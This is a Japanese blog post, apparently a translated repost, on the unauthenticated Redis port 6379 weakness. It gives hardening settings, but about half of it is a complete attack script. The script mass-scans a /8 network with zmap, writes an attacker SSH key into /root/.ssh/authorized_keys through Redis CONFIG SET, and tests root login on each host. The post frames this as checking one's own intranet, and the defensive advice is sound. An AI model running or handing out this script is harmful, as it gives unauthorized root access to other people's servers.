Redisセキュリティ構成に注意してください.そうしないと、簡単に侵入します.

19077 ワード

一、前言
この間、イントラネットの影響の程度の評価をする時にスキャン利用の小さいスクリプトを書いて、スキャンした後に統計して発見して、イントラネットの中で60%redis 6379ポートを開放したホストは利用することができる危険な状態にあることを発見して、すべていくつかのデフォルトの配置がもたらしたので、当コミュニティの大部分の開発者がすべてredisを使うことを考慮して、特にここで分かち合ってみんなが自分の会社のイントラネットに対して1つの調査を行うことができるようにします.
二、抜け穴の紹介
Redisのデフォルトでは、0.0.0.0:6379にバインドされます.これにより、Redisサービスはパブリックネットワークに暴露されます.認証がオンになっていない場合、ターゲット・サーバにアクセスできる場合、任意のユーザーがRedisにアクセスできず、Redisのデータを読み取ることができません.攻撃者は、Redisへのアクセスが許可されていない場合、Redisに関する方法を利用して、Redisサーバに公開鍵を書き込むことに成功し、対応する秘密鍵を使用してターゲットサーバに直接ログインすることができる.
侵入フィーチャー:
RedisはFLUSHALLメソッドを実行することができ、Redisデータベース全体がクリアされる.
Redisデータベースには、SSH公開鍵であるcrackit(ネット上に流れるコマンドコマンドコマンド)というキー値ペアが新規に作成されました.
/root/.sshフォルダの下にauthorizedを新規または変更しました.上記公開鍵を含むRedis生成dbファイル.
三、修復提案
1.いくつかのハイリスク命令を禁止する
redisを変更します.confファイル、追加
rename-command FLUSHALL ""
rename-command CONFIG   ""
rename-command EVAL     ""

DBファイルアドレスのリモート変更を無効にする
2.低権限でRedisサービスを実行する
Redisサービス用に個別のユーザーとホームディレクトリを作成し、ログイン禁止を設定します.
3.Redisのパスワード検証を追加
redisを変更します.confファイル、追加
requirepass mypassword

4.外部ネットワークへのアクセスを禁止するRedis
redisを変更します.confファイル、追加または変更
bind 127.0.0.1

Redisサービスが現在のホストでのみ利用可能にする
四、スキャンツール
1使用説明
# Ubuntu  
su

# Requirements
apt-get install redis-server expect zmap

git clone https://github.com/qingxp9/yyfexploit
cd yyfexploit/redis

#   6379  
#        , /etc/zmap/zmap.conf blacklist-file      
zmap -p 6379 10.0.0.0/8 -B 10M -o ip.txt

# Usage
./redis.sh ip.txt

最後に、runasrootといういくつかのtxtファイルの記録結果が生成される.txtはredisに認証がないことを示し、rootでnoauthを実行する.txtはredisに認証がないが、rootshellを一般ユーザで実行することを示す.txtは公開鍵に書き込まれており、rootユーザーに直接証明書でログインできます.
このように:
ssh -i id_rsa [email protected]
2ツールソース
コードを貼ってください.牛さんたちは保護者の付き添いで見てください.
#!/bin/sh
 if [ $# -eq 1  ]
 then
   ip_list=$1

   ##create id_rsa
   echo "****************************************Create id_rsa file"

   expect -c "
     spawn ssh-keygen -t rsa -f id_rsa -C \"yyf\"
     expect {
         \"*passphrase): \" {
             exp_send \"\r\"
             exp_continue
         }
         \"*again: \" {
             exp_send \"\r\"
         }
         \"*y/n)? \" {
             exp_send \"n\r\"
         }
     }
     expect eof
   "

   echo "

****************************************Attack Targets" touch noauth.txt runasroot.txt rootshell.txt haveauth.txt i=0 cat $ip_list | while read ip do i=`expr $i + 1`; #write id_rsa.pub to remote echo "*****${i}***connect to remote ${ip} redis " expect -c " set timeout 3 spawn redis-cli -h $ip config set dir /root/.ssh/ expect { \"OK\" { exit 0 } \"ERR Changing directory: Permission denied\" { exit 1 } timeout { exit 2 } \"(error) NOAUTH Authentication required\" { exit 3 } } " case $? in 0) echo "run redis as root" echo $ip >> noauth.txt echo $ip >> runasroot.txt ;; 1) echo "not run redis as root


" echo $ip >> noauth.txt continue ;; 2) echo "connect timeout


" continue ;; 3) echo "Have Auth


" echo $ip >> haveauth.txt continue ;; esac (echo -e "

"; cat id_rsa.pub; echo -e "

") > foo.txt cat foo.txt | redis-cli -h $ip -x set 1 redis-cli -h $ip config set dir /root/.ssh/ redis-cli -h $ip config set dbfilename "authorized_keys" redis-cli save #login test echo "#try to login" expect -c " set timeout 5 spawn ssh -i id_rsa root@$ip echo \"yyf\" expect { \"*yes/no\" { send \"yes
\"
} \"*password\" { send \"\003\"; exit 1 } \"yyf\" { exit 0 } timeout { exit 2 } } exit 4 " exitcode=$? if [ $exitcode -eq 0 ] then echo "---------------${ip} is get root shell" echo $ip >> rootshell.txt fi echo "


" done echo "##########Final Count##########" wc -l $ip_list echo "----------" wc -l noauth.txt wc -l runasroot.txt wc -l rootshell.txt echo "----------" wc -l haveauth.txt else echo "usage: ./redis.sh ip.txt" fi

五、関連参考
http://zone.wooyun.org/content/23858
https://blog.islandzero.net/2015/11/11/redis-crackit/
http://blog.knownsec.com/2015/11/analysis-of-redis-unauthorized-of-expolit/
コードに不合理な点があれば、指摘してください.
変換元:https://ruby-china.org/topics/28094